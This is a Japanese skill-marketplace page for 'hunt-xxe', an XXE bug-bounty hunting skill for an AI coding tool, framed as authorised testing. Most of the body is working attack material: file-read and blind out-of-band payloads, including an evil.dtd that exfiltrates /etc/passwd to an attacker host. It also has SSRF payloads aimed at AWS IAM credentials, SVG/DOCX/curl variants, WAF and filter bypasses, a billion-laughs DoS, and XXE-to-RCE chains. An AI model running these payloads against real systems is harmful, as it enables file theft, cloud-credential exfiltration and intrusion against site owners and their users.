mcpField
H
hunt-xxe

hunt-xxe

github.com/uphiagoセキュリティ1.3k42 回インストール8 週間前に更新
リポジトリ

hunt-xxe について

hunt-xxeは、XML外部エンティティ脆弱性を調査するセキュリティテスト用スキルです。XMLエンドポイントや文書処理を対象に、入口の特定、パーサー検証、インバンド・アウトオブバンド検査、影響評価を扱います。

主な機能

  1. 01XMLエントリーポイントの特定
  2. 02XMLを使うアップロード処理の検査
  3. 03インバンドおよびアウトオブバンドのXXE検査
  4. 04パーサーと技術スタックの識別
  5. 05SSRFとファイル読み取りの影響評価
  6. 06根本原因と検証のガイダンス

活用シーン

  1. 01XMLを受け付けるAPIエンドポイントのテスト
  2. 02SVGやOffice文書のアップロード検査
  3. 03SAMLやSOAPの解析経路の評価
  4. 04許可されたテストでのXMLパーサー安全性評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-xxe

インストール後、Claude Code で/hunt-xxeを入力して読み込まれたか確認します。

詳細

価値の高い標的

XXE は、機密データの直接的な窃取や SSRF につながるため、バグ報奨金の相場で常に最高額($5,000–$30,000+)が支払われる、重大度の高い脆弱性です。特に価値の高い標的は次のとおりです。

  • XML を多用するバックエンド連携を備えた大規模なエンタープライズプラットフォーム(金融、物流、ライドシェアの API)
  • ファイル読み取りが可能なドメイン — /etc/passwd、/etc/shadow、内部の設定ファイル、AWS メタデータエンドポイント
  • バックエンドインフラを共有するサブドメイン — 1 つの XXE エンドポイントを起点に、数十のドメインにまたがる内部サービスへアクセスできる可能性があります(単一のエントリーポイントを介して Uber の 26 以上のドメインで実証された例があります)
  • XML コンテンツタイプを受け付ける API ゲートウェイ — 特に、Content-Type: application/xml を暗黙的に受け付ける REST API
  • ファイルアップロード機能 — サーバー側の SVG、DOCX、XLSX、PDF、PPTX パーサー
  • SAML/SSO エンドポイント — SAML アサーションは XML ベースで、脆弱なことがよくあります
  • Office/ドキュメント処理サービス — ユーザー提供のドキュメントを変換または処理する機能全般

攻撃対象領域の兆候

URL パターン
/api/v*/xml
/upload
/import
/parse
/convert
/saml/acs
/sso/saml
/feed
/rss
/sitemap
/webdav
/soap/*
/wsdl
/service.asmx
/xmlrpc
/graphql (multipart with XML)
リクエスト/レスポンスヘッダー
Content-Type: application/xml
Content-Type: text/xml
Content-Type: application/soap+xml
Content-Type: multipart/form-data  ← check file upload fields
Accept: application/xml
X-Content-Type-Options: (absent — good sign of loose parsing)
JavaScript パターン(ソースの調査)
// Look for in JS bundles
XMLSerializer
DOMParser
parseFromString
new ActiveXObject("Microsoft.XMLDOM")
$.parseXML(
xml2js
libxmljs
lxml
技術スタックの兆候
  • Java スタック:Spring、Struts、JAX-WS — デフォルトの XML パーサー(SAX、DOM)は、明示的に強化しない限り XXE に対して脆弱です
  • PHP:simplexml_load_string()、DOMDocument::loadXML() — PHP 8 より前では、デフォルトで脆弱です
  • Python:lxml、xml.etree(デフォルトで安全)、xml.sax(安全ではありません)
  • Ruby:旧バージョンの Nokogiri、REXML
  • Node.js:xml2js、libxmljs、旧バージョンの fast-xml-parser
  • WSDL/SOAP サービス:必ずテストしてください — レガシーな XML 解析は、ほぼ確実に脆弱です
  • ファイルパーサー:Apache POI(Java)、python-docx、LibreOffice との連携

手順に沿った調査方法

  1. すべての XML エントリーポイントを特定する — Burp Suite のパッシブスキャナーを使い、XML コンテンツタイプを含むすべてのリクエスト/レスポンスを検出します。また、JSON エンドポイントもインターセプトし、Content-Type を application/xml に手動で変更して、同等の XML ボディを送信します。

  2. ファイルアップロード機能を特定する — SVG、DOCX、XLSX をアップロードし、サーバーがコンテンツを処理またはレンダリングするか確認します。これらは内部で XML を使っていることがよくあります。

  3. インライン XXE(従来のファイル読み取り)を試す — XML ボディを、/etc/passwd または C:\Windows\win.ini を対象とする基本的なエンティティテスト用ペイロードに置き換えます。値がレスポンスに反映されるか確認します。

  4. 値が反映されない場合は、Blind OOB に切り替える — OOB リスナー(Burp Collaborator、interactsh、またはセルフホストの netcat サーバー)を用意します。コールバック URL を指す外部エンティティを挿入し、DNS/HTTP のヒットを確認して、パーサーが外部への接続を行っていることを検証します。

  5. Blind OOB をファイル窃取に発展させる — 2 段階のペイロードを使います。最初のエンティティでローカルファイルを読み込み、2 つ目のエンティティで HTTP パラメーターまたは DNS 窃取を通じて OOB 送信します。

  6. SSRF へのピボットをテストする — 外部エンティティの参照先を内部ネットワークアドレス(http://[REDACTED_IP]/latest/meta-data/、http://10.0.0.1/、http://localhost:8080/admin)に設定します。レスポンス時間やエラーメッセージの違いを確認します。

  7. 同じバックエンドを共有するすべてのサブドメインをテストする — あるサブドメインに脆弱性がある場合、ほかのサブドメインもすべて体系的に列挙してテストします。バックエンドインフラが共有されていれば、脆弱性も共有されている可能性があります。

  8. パラメーター単位のインジェクションをテストする — 特定の XML ノードのみを解析するエンドポイントもあります。すべての要素値、属性値、さらには要素名にもエンティティを挿入します。

  9. エラーを利用した窃取をテストする — OOB がブロックされる場合は、XML 解析エラーを発生させ、エラーメッセージにファイルの内容が含まれてクライアントに返るか確認します。

  10. 影響の連鎖全体を記録する — ファイル読み取り → SSRF → 内部サービスへのアクセスを実証し、到達可能な内部ドメイン/IP を記録します。


ペイロードと検出パターン

従来型のインバンドファイル読み取り
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
Windows の場合
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root><data>&xxe;</data></root>
Blind OOB — DNS/HTTP コールバック
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://YOUR.BURPCOLLABORATOR.net/xxe-test">
]>
<root><data>&xxe;</data></root>
Blind OOB — パラメーターエンティティを介したファイル窃取(二段階)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://YOUR-SERVER/evil.dtd">
  %dtd;
]>
<root><data>trigger</data></root>

evil.dtd(攻撃者のサーバーでホスト):

<!ENTITY % all "<!ENTITY send SYSTEM 'http://YOUR-SERVER/?data=%file;'>">
%all;
XXE を介した SSRF(AWS メタデータ)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY ssrf SYSTEM "http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/">
]>
<root><data>&ssrf;</data></root>
SVG XXE(ファイルアップロードエンドポイント向け)
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg width="512px" height="512px" xmlns="http://www.w3.org/2000/svg">
  <text font-size="14" x="0" y="16">&xxe;</text>
</svg>
DOCX/XLSX XXE — [Content_Types].xml または word/document.xml に挿入
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Types xmlns="..."><Default Extension="rels" ContentType="&xxe;"/></Types>
Content-Type の切り替え(JSON から XML)
# Original JSON request
curl --max-time 30 --connect-timeout 10 -X POST https://target.com/api/endpoint \
  -H "Content-Type: application/json" \
  -d '{"user":"test"}'

# Converted to XML for XXE testing
curl --max-time 30 --connect-timeout 10 -X POST https://target.com/api/endpoint \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://COLLABORATOR.net">]><user>&xxe;</user>'
ソースコードレビュー用 Grep パターン
# PHP
grep -rn "simplexml_load_string\|DOMDocument\|xml_parse\|loadXML\|SimpleXMLElement" .

# Java
grep -rn "DocumentBuilder\|SAXParser\|XMLReader\|XMLInputFactory\|TransformerFactory" .

# Python
grep -rn "lxml\|xml.sax\|parseString\|fromstring\|etree.parse" .

# Look for missing hardening
grep -rn "FEATURE_EXTERNAL_GENERAL_ENTITIES\|setExpandEntityReferences\|setFeature.*false" .

よくある根本原因

  1. デフォルトのパーサー設定 — Java の DocumentBuilderFactory、PHP の DOMDocument、Python の lxml はいずれも、デフォルトで外部エンティティをサポートしています。開発者はセキュリティドキュメントを読まずに使用しています。

  2. セキュリティ面での再レビューを伴わないフレームワークのアップグレード — Spring、Struts などの古いバージョンでは、デフォルトで XXE が有効になっていました。ライブラリが変更された際、開発者は XML の処理を再監査しませんでした。

  3. 隠れた XML 処理 — 開発者は API 層で JSON を受け入れながら内部で XML に変換したり、アップロードされたファイルを処理するために Apache POI や python-docx などのライブラリを使用したりしますが、それらの形式が XML コンテナーであることに気づいていません。

  4. StackOverflow からのコードのコピー&ペースト — オンラインにある XML 解析のサンプルには、エンティティの無効化が含まれていないことがほとんどです。開発者は、動作に必要な最小限のサンプルをそのまま本番環境にコピーします。

  5. SAML/SSO ライブラリの設定ミス — SSO 統合では、XXE が有効なサードパーティライブラリに XML 解析を委ねていることがよくあります。開発者は「ライブラリがセキュリティを処理してくれる」と思い込んでいます。

  6. 主要でないコンテンツタイプのテスト不足 — QA では JSON API を徹底的にテストしますが、XML のコードパスは副次的なもの、またはレガシーなものとして、セキュリティテストがほとんど行われません。

  7. マイクロサービスの XML メッセージング — サービス間の内部通信では XML(SOAP、カスタムスキーマ)が使用され、「信頼された内部の問題」として扱われるため、セキュリティレビューが省略されます。


バイパス手法

防御策:キーワードのブラックリスト(ENTITY、DOCTYPE、SYSTEM)

<!DoCtYpE foo [<!EnTiTy xxe SyStEm "file:///etc/passwd">]>


<?xml version="1.0" encoding="UTF-16"?>
(submit the entire payload UTF-16 encoded)


<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe;]>
防御策:外部エンティティの取得を無効化(file:// をブロック)

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "netdoc:///etc/passwd">       
<!ENTITY xxe SYSTEM "jar:file:///etc/passwd!/">   
<!ENTITY xxe SYSTEM "gopher://internal-service:80/_GET%20/">
防御策:WAF による XXE パターンのブロック

Transfer-Encoding: chunked




<!-–- -->DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>


<!DOCTYPE foo [<!ENTITY xxe SYSTEM "&#x66;&#x69;&#x6c;&#x65;:///etc/passwd">]>
防御策:ネットワークの送信トラフィックフィルタリング(OOB をブロック)

<!ENTITY % data SYSTEM "file:///etc/hostname">
<!ENTITY % send "<!ENTITY exfil SYSTEM 'http://%data;.attacker.com/'>">


<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///notexist/%file;'>">
  %eval; %error;
]>
防御策:Content-Type の検証
# Try mismatched Content-Type headers
Content-Type: application/json; charset=xml
Content-Type: application/xml+json
# Or simply omit Content-Type and let the server sniff
防御策:入力長の制限

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;">
]>


パーサーエコシステムの脆弱性マトリクス

XXE の典型的なペイロード(<!ENTITY xxe SYSTEM "file://...">)は、2026 年においてあらゆる環境で悪用できるわけではありません。主要な言語エコシステムのほとんどでは、2018〜2024 年以降、デフォルトの XML パーサーが強化されています。XXE に時間をかける前に、対象のスタックを特定してください。パーサーがすでに安全で、この脆弱性の種類が該当しない場合もあります。

エコシステム/パーサーSYSTEM エンティティに対するデフォルトの動作デフォルトで脆弱か?
Java SAX/DOM(外部エンティティを無効にしていない XMLInputFactory)SYSTEM file:// を展開するはい
Java JAXB/JAX-WS(古い Spring バージョン)展開するはい
LIBXML_NOENT フラグを指定した PHP DOMDocumentSYSTEM を展開するはい
LIBXML_NOENT を指定した PHP simplexml_load_*展開するはい
XmlResolver を明示的に設定した .NET XmlDocument展開するはい
DtdProcessing=Parse と XmlResolver を明示的に設定した .NET XmlReader展開するはい(.NET 4.5.2 以降のデフォルトは DtdProcessing.Prohibit で、DOCTYPE があると必ず例外が発生します。最新のデフォルトは安全です)
Python xml.etree.ElementTree ≥ 3.7.1SYSTEM が無効いいえ
Python lxml(6.x で検証済み。おそらく ≥ 5.x)resolve_entities=True でも SYSTEM のファイル内容を破棄します。no_network=False の場合は、ネットワークへのフェッチが発生する可能性がありますファイル読み取りについては、いいえ(6.1.0 でローカル検証済み。docs/verification/phase2g-saml-mfa-xxe.md を参照)
Python xml.dom.minidom現行バージョンではデフォルトで安全いいえ
Python defusedxml.lxml無効いいえ
Ruby Nokogiri のデフォルト無効いいえ
Nokogiri::XML::ParseOptions::DTDLOAD を指定した Ruby Nokogiri展開するはい
Apache Struts(古いバージョン)展開することが多いはい
組み込み IoT/産業用 XML プロセッサー(ファームウェア)脆弱なことが多いはい
ユーザーコンテンツを再解析する Microsoft Office OOXML プロセッサー一部のレガシーな経路では脆弱はい

確認すべきフィンガープリントの兆候:

  • Server: Apache Tomcat、X-Powered-By: Servlet → Java バックエンド → おそらく「はい」
  • X-Powered-By: PHP/... と XML を受け取るエンドポイント → アプリが DOMDocument を使用している場合は おそらく「はい」
  • .aspx と XML SOAP を使用する Server: Microsoft-IIS → レガシーコードでは おそらく「はい」
  • サーバーを特定できる情報がなく、エンドポイントが XML を受け付ける → まず &hello; でテストしてください。インラインエンティティが展開される場合は、SYSTEM に進みます。インラインエンティティも展開されない場合、パーサーが強化されている可能性があります。別の方法に切り替えてください。

**重大度判定前のゲート:**候補エンドポイントで XXE を報告する前に、インラインエンティティのテスト(<!ENTITY hello "world!"> を定義し、ノード内で &hello; を使う)を実施してください。hello! が応答に返らない場合、パーサーレベルでエンティティの展開が無効になっており、SYSTEM file:// も機能しません。強化済みのパーサーに時間を費やさないでください。


ゲート 0 の検証

報告書を書く前に、次の 3 点すべてに答えてください。

  1. 攻撃者は現時点で何ができますか?

    • /etc/passwd または win.ini の内容を応答内に表示できますか?または、ファイルの内容を自分のサーバーに送信する OOB コールバックを確認できますか?または、内部の SSRF エンドポイント(メタデータ、内部管理画面)にアクセスできますか?
  2. 被害者は何を失いますか?

    • 具体的な機密情報を特定する必要があります。内部認証情報、AWS IAM キー、DB パスワードを含むアプリケーション設定ファイル、PII、または内部ネットワークのトポロジーです。「パーサーが DNS リクエストを行った」だけでは不十分です。実際のデータ漏えいまたは内部アクセスを実証するまで、調査を進めてください。
  3. ゼロから 10 分以内に再現できますか?

    • トリアージ担当者が稼働中の対象に対して実行し、10 分以内に影響を確認できる単一の curl コマンドまたは Burp Repeater リクエストが必要です。脆弱なパラメーターとエンドポイントについて、曖昧さが一切ないものでなければなりません。

実際の影響例

シナリオ A:単一のエンドポイント → 26 ドメインの侵害(Uber 規模)

テスターは、Uber のあるサブドメインで XML 解析エンドポイントを発見しました。バックエンドでは脆弱なパーサーを使って XML を処理しており、サーバーは攻撃者が制御するインフラストラクチャに対してアウトバウンド HTTP リクエストを送信していました(ブラインド OOB)。脆弱な XML 処理サービスは内部で共有されるマイクロサービスだったため、同じ脆弱性が、バックエンドを共有する 26 以上の異なる公開ドメインから到達可能でした。単一のペイロードで /etc/passwd や内部設定ファイルを読み取り、AWS メタデータエンドポイントにもアクセスでき、事実上、インフラストラクチャ全体で再利用可能な認証情報を取得できました。

ビジネスへの影響:本番環境のドメイン群の大半にわたる内部サービスの完全な侵害。認証情報の窃取やラテラルムーブメントにつながる可能性があります。

シナリオ B:ドキュメントのアップロード → Twitter 規模のプラットフォームでローカルファイルを読み取り

攻撃者は、大手ソーシャルプラットフォームのドキュメント処理機能に、細工した XML ベースのドキュメント(SVG や Office 形式など)をアップロードしました。サーバー側のパーサーが埋め込まれた DTD と外部エンティティ参照を処理し、解析結果やエラーメッセージにローカルファイルの内容を返しました。攻撃者は、データベース接続文字列や内部 API キーを含むアプリケーション設定ファイルや、同じファイルシステムに保存されている可能性のある非公開ユーザーデータを読み取ることができました。

ビジネスへの影響:無害なファイルのアップロードを目的とする機能を通じた、本番環境のシークレット(データベース認証情報、API キー)の漏えい。標準的なユーザーアカウント以外の認証バイパスは必要ありませんでした。

シナリオ C:JSON API → 隠れた XML パーサー → 内部サービスへの SSRF

表向きは JSON を受け付ける REST API エンドポイントが、application/xml として送信されたリクエストも解析することが判明しました。基盤となるサービスは、未修正の Java DocumentBuilderFactory を使って XML を内部形式に変換していました。http://10.0.0.x のアドレス範囲を指す SYSTEM エンティティを挿入することで、テスターは内部サービスを調査し、認証不要の内部管理パネルにアクセスして、AWS インスタンスメタデータから一時的な IAM 認証情報を取得できました。これらすべては、有効なセッショントークンだけを必要とする単一の API 呼び出しで実行できました。

ビジネスへの影響:認証済みの API 呼び出し 1 回だけで AWS 認証情報が完全に侵害され、アプリケーションレベルのユーザーからクラウドインフラストラクチャの管理者へ権限を昇格できる状態になります。


開示済みレポートの引用(追加分 +6 — 2016-2024)

以下の実在する検証済みのバグバウンティ/協調的開示の事例を、このスキルに追加します。3件(#7、#9、#10)はOOB必須(ブラインド)です。hunt-ssrf の OOB-Or-It-Didn't-Happen ゲートを相互参照しており、Collaborator/interactsh のコールバックなしでは報告できません。

  1. Mail.ru — Pulse RSS/Atom フィードのXXE(ファイル読み取り) (H1 #505947)

    • サブクラス:直接ファイル読み取り型XXE(インバンド)
    • ペイロード:RSSフィード本文に <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> を含める → 応答で <title>&xxe;</title> が反映される
    • 根本原因:pulse.mail.ru のRSS/Atom取り込み処理が、external general entities を有効にしたXMLパーサーを呼び出していた
    • 年:2019年 — $6,000
  2. Twitter — sms-be-vip.twitter.com SOAP/SXMPサーブレットのXXE (H1 #248668)

    • サブクラス:SOAP XXE(cloudhopper SXMPサーブレット)— HTTPコールバックおよび反映されたファイル読み取りで確認
    • ペイロード:SXMPリクエスト本文に <!DOCTYPE r [<!ENTITY % ext SYSTEM "http://attacker/x.dtd"> %ext;]> を連結
    • 根本原因:Cloudhopper SXMPサーブレットが、デフォルトのJAXP設定(エンティティが解決される)で受信XMLを解析していた
    • 年:2017年 — $10,080(SOAP-XXEの代表的な参考事例)
  3. Zivver — SVGプロフィール画像アップロードのXXE → SSRF (H1 #897244)

    • サブクラス:SVGアップロード型XXE、OOBで確認済み、SSRFにつながる
    • ペイロード:<!DOCTYPE svg [<!ENTITY xxe SYSTEM "http://[REDACTED_IP]/latest/meta-data/">]><text>&xxe;</text> を含むSVG
    • 根本原因:サーバーがアップロードされたSVGのサムネイルを、外部エンティティを解決するXMLパーサーで生成していた。エンティティリゾルバーは無効化されていなかった
    • 年:2020年 — 当時、Zivverには有償プログラムがなかった
  4. Open-Xchange — PowerPoint(.pptx)インポート経由のブラインドXXE (H1 #334488)

    • サブクラス:Office文書のXXE(PPTX = XMLパーツをZIP化したもの)、OOB必須
    • ペイロード:.pptx ZIP内の ppt/slides/slide1.xml を変更して <!DOCTYPE x [<!ENTITY % a SYSTEM "http://attacker/d.dtd"> %a;]> を含める。外部DTDがパラメーターエンティティを連結し、HTTP経由で file:///etc/passwd を流出させる
    • 根本原因:PowerPointパーサーが、エンティティ解決を無効にする前にOOXMLコンテナー内のXMLパーツを事前レンダリングしていた
    • 年:2018年 — $2,000
  5. Uber — ubermovement.comのブラインドOOB XXE (H1 #154096)

    • サブクラス:ブラインドOOB XXE(サードパーティ製品)、OOB必須
    • ペイロード:<!DOCTYPE r [<!ENTITY ping SYSTEM "http://attacker.example/">]><search><q>&ping;</q></search>
    • 根本原因:Movementのベンダースタックにある汎用XMLエンドポイントがXMLを受け入れ、システムエンティティを解決していた。データ流出は不可能(サンドボックス化)で、ブラインドのpingのみ可能だった
    • 年:2016年 — $500
  6. Adobe Commerce / Magento — 「CosmicSting」CVE-2024-34102 (Assetnoteの解説)

    • サブクラス:XXEからRCE(ネストされたデシリアライズ → Laminasのリクエスト本文でXXE)— 最新の事例で、実環境で悪用された
    • ペイロード:ネストされた simplexml_load_string() が <!DOCTYPE r [<!ENTITY % d SYSTEM "http://attacker/x.dtd"> %d;]> に到達するREST APIのJSONリクエスト。外部DTDが app/etc/env.php(管理者用暗号鍵)を読み取ってPOSTで送り返し、この鍵を使って管理者トークンを偽造 → RCE
    • 根本原因:Laminas\Http\PhpEnvironment\Request が、攻撃者が制御する本文に対して LIBXML_NOENT による保護なしで simplexml_load_string をデシリアライズしていた
    • 年:2024年 — Adobe HackerOneのバグバウンティが支払われた。CVSS 9.8

検証

このセルフテストを実行して、XXEハンティングの準備ができていることを確認します。

  1. スキルの整合性 — スキルファイルが読み取り可能で、適切な形式であることを確認します。

    grep -q "name: hunt-xxe" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. カテゴリの確認 — スキルにカテゴリがあることを確認します。

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 落とし穴のセクション — 落とし穴が記載されていることを確認します。

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

3つのテストすべてで、スキルが適切に構成され、使用できる状態にあることを確認します。


落とし穴

  • SVGアップロードにおけるXXE — SVGファイルはXMLです。アップロードされたSVGのXXEは、実際に悪用可能な攻撃ベクトルです。<!ENTITY xxe SYSTEM "file:///etc/passwd"> を含むSVGでテストしてください。
  • 出力を伴わないXXE(ブラインドXXE) — パーサーがエンティティの値を返さない場合は、OOB XXE(<!ENTITY xxe SYSTEM "http://attacker.com/">)を使ってコールバックを発生させます。
  • SOAP/WSDLにおけるXXE — SOAPエンドポイントはXXEの見落としがちな対象です。すべてのSOAP操作をテストしてください。
  • XMLパーサーの設定 — PHPのlibxml_disable_entity_loader(true)やJavaのXMLConstants.FEATURE_SECURE_PROCESSINGはXXEを防ぎます。特にDTDをテストしてください。
  • バリエーション・ラフ攻撃 — エンティティの指数的な展開によるDoS(<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;"> ...)はXXEの一種です。情報漏えいではなく、DoSとして評価してください。

関連スキルと攻撃チェーン

  • hunt-ssrf — パーサーが外部エンティティを取得することが分かった時点で、XXEはXML構文を使ったSSRFです。攻撃チェーンの起点:ブラインドXXEのOOB <!ENTITY % x SYSTEM "http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/role"> → パラメーターエンティティのDTDコールバック経由でAWS IMDS認証情報を流出 → STS AssumeRoleチェーン。通常のSSRFがフィルターでブロックされる場合でも、XXE経由のlibxml2のgopher://でRedis/SMTPに到達できることがあります。
  • hunt-file-upload — XXEは、XMLをひそかに解析するファイルアップロード機能(DOCX/XLSX/PPTX、SVG、GPX、KML、OOXML、SOAP添付ファイルなど)に潜んでいることが最も多いです。攻撃チェーンの起点:パラメーターエンティティのDTDを含む悪意のある[Content_Types].xmlを含めたDOCXをアップロード → サーバー側で実行されるドキュメントパーサー経由で/etc/passwd / web.config / .aws/credentialsをOOBで読み取ります。
  • hunt-rce — XXEからRCEにつながるケースはまれですが、PHP(expect://)、Java(<xsl:script>/Xalanを使ったXSLT拡張機能)、古いXmlSpy/SAXONのデプロイでは実際に発生します。攻撃チェーンの起点:脆弱なXSLTプロセッサーを使用するJavaエンドポイントのXXE → <xsl:value-of select="rt:exec(rt:getRuntime(),'id')"/> → RCE、またはexpect://idストリームラッパーが有効なPHPのXXE → 直接RCE。
  • hunt-sharepoint — オンプレミスのSharePoint/Exchange/IISスタックでは、SOAP/CSOM/EWSエンドポイントにおけるXXEが長年にわたって確認されています。攻撃チェーンの起点:_vti_bin/*.asmxまたはEWS SOAPにおける匿名XXE → web.configを読み取る → <machineKey>を復元する → ViewStateのデシリアライズ → RCE(ToolShellに近い前提条件)。
  • security-arsenal — XXEペイロードツリーを活用してください。標準的なSYSTEMファイル読み取り、パラメーターエンティティを使ったOOB DTDパターン(ブラインドXXEを可能にする%の間接参照)、バイナリーセーフな読み取りのためのphp://filter/convert.base64-encode/resource=、DOCTYPEがブロックされる場合のXInclude(<xi:include href=...>)、DoSを引き起こすバリエーション・ラフ/二次的な急増、Java固有のjar:// / netdoc://ラッパーが含まれます。
  • triage-validation — 再現性と重大度の判定基準を適用してください。データ流出を伴わず、OOB DNSコールバックのみを発生させるXXEは、重大度が低~中程度です(「このパーサーがエンティティを取得する」という情報開示にとどまります)。重大とするには、ファイル読み取りまたは内部HTTPアクセスの証明が必要です。報告書には、実際の/etc/passwdの内容またはIMDS JSONレスポンスを示してください。

コメント